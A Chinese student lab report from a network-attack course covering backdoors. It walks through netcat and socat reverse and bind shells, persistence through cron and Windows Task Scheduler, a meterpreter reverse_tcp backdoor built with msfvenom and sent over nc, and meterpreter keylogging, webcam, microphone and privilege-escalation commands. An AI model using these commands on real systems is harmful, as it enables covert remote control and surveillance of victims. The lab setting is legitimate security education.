2018-2019-2 20165307《网络对抗技术》Exp2 后门原理与实践

相关工具介绍

ncat
  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
任务一:Windows获得Linux Shell
  • 使用ncat.exe程序监听本机的5307端口ncat.exe -l -p 5307

  • 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5307端口nc 192.168.1.193 5307 -e /bin/sh

  • 成功获得Kali的shell,如下图所示

任务二:Linux获得Windows Shell
  • 使用ncat指令监听5307端口nc -l -p 5307
  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5307端口ncat.exe -e cmd.exe 192.168.1.155 5307
  • Kali下可以看到Windows的命令提示,可以输入Windows命令

任务三:使用ncat传输数据
  • Windows下监听5307端口:ncat.exe -l -p 5307
  • Kali下连接到Windows的5307端口nc 192.168.1.193 5307
  • 建立连接之后,进行传输数据测试

使用ncat进行文件传输
  • Windows下监听5307端口,并把收到的数据保存到f_out中,ncat.exe -l 5307 > f_out
  • kali反弹连接到Windows的5307端口,nc 192.168.1.193 5307 < f_in
  • 连接建立成功,Win可以收到kali发来的文件

Meterpreter
  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。
  • -x 使用的可执行文件模板。
  • -e 使用的编码器。
  • -i 编码器的迭代次数。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
任务一:使用netcat获取主机操作Shell,cron启动(kali作为被攻击者)
  • 在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3",在底行插入,意思是在每个小时的第10分钟反向连接Windows主机的5307端口

  • 在 cmd中验证

任务二:使用socat获取主机操作Shell, 任务计划启动
  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个ddress是必选项,而options是可选项。
    - ocat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在任务计划程序创建任务,填写任务名称,并新建一个触发器

  • 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5307 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5307,同时把cmd.exestderr重定向到stdout

  • 创建完成之后,到指定时间时,可以发现之前创建的任务已经开始运行:

  • 在Kali环境下输入指令socat tcp:192.168.1.193:5307,此时可以发现已经成功获得了一个cmd shell

任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5307 -f exe > 20165307_backdoor.exe(IP为kali的IP)生成后门程序20165307_backdoor.exe
  • 在Windows中使用ncat.exe -lv 5307 > 20165307_backdoor.exe查看连接状态
  • kali中输入nc 192.168.1.193 5307 < 20165307_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP端口

  • 运行Windows下的后门程序20165307_backdoor.exe

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照
    (由于电脑摄像头是坏的,无法实现)

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 使用screenshot指令可以进行截屏

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权

问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 非官方网站下载程序,后门被捆绑在软件中,随软件启动而运行。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • linux cron启动
  • win任务计划启动

(3)Meterpreter有哪些给你映像深刻的功能?

  • 提权、使用摄像头、录音、键盘录制等远程控制

(4)如何发现自己有系统有没有被安装后门?

  • 检查可疑后台应用
  • 利用杀毒软件查杀

错误总结

  • 这次实验比较顺利,没有出什么错误。
posted @ 2019-03-23 15:28  wangzhe1998  阅读(207)  评论(0编辑  收藏  举报